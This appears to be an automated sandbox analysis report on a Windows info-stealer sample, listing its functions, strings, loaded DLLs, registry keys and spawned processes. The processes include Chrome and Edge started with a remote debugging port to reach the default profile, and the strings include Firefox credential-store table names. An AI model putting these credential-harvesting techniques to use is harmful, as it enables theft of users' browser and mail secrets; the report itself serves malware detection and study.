Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96E63	0_2_6CA96E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2C670	0_2_6CA2C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA44640	0_2_6CA44640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72E4E	0_2_6CA72E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA49E50	0_2_6CA49E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA63E50	0_2_6CA63E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA777A0	0_2_6CA777A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2DFE0	0_2_6CA2DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56FF0	0_2_6CA56FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA39F00	0_2_6CA39F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA67710	0_2_6CA67710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA560A0	0_2_6CA560A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C0E0	0_2_6CA4C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA658E0	0_2_6CA658E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA950C7	0_2_6CA950C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B820	0_2_6CA6B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74820	0_2_6CA74820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA37810	0_2_6CA37810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6F070	0_2_6CA6F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48850	0_2_6CA48850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D850	0_2_6CA4D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2C9A0	0_2_6CA2C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D9B0	0_2_6CA5D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65190	0_2_6CA65190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA82990	0_2_6CA82990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3D960	0_2_6CA3D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B970	0_2_6CA7B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B170	0_2_6CA9B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4A940	0_2_6CA4A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA222A0	0_2_6CA222A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA54AA0	0_2_6CA54AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3CAB0	0_2_6CA3CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA92AB0	0_2_6CA92AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9BA90	0_2_6CA9BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA41AF0	0_2_6CA41AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E2F0	0_2_6CA6E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68AC0	0_2_6CA68AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA69A60	0_2_6CA69A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2F380	0_2_6CA2F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA953C8	0_2_6CA953C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D320	0_2_6CA6D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3C370	0_2_6CA3C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA25340	0_2_6CA25340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA694D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA5CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2660593271.000000006CCA5000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: qjfwfzym ZLIB complexity 0.9948359631453297

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/294@26/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA87030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA87030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ICDK0KGG.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\319a8914-092c-4ff5-8b69-d93c70ab254f.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2366543135.000000001D614000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2470114152.000000001D615000.00000004.00000020.00020000.00000000.sdmp, CGCFIIEBKEGHJJJJJJDA.0.dr, BAAAAKJKJEBGHJKFHIDG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2652475400.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2659489765.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2328,i,13610718325922863357,13994508100536033247,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2604,i,16310004041728458876,8717839349625017858,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7192 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7344 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7388 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2328,i,13610718325922863357,13994508100536033247,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2604,i,16310004041728458876,8717839349625017858,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7192 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7344 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7388 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2153984 > 1048576

Source: file.exe

Static PE information: Raw size of qjfwfzym is bigger than: 0x100000 < 0x1a2e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2660696854.000000006D421000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2184656532.000000000501B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2660696854.000000006D421000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2184656532.000000000501B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
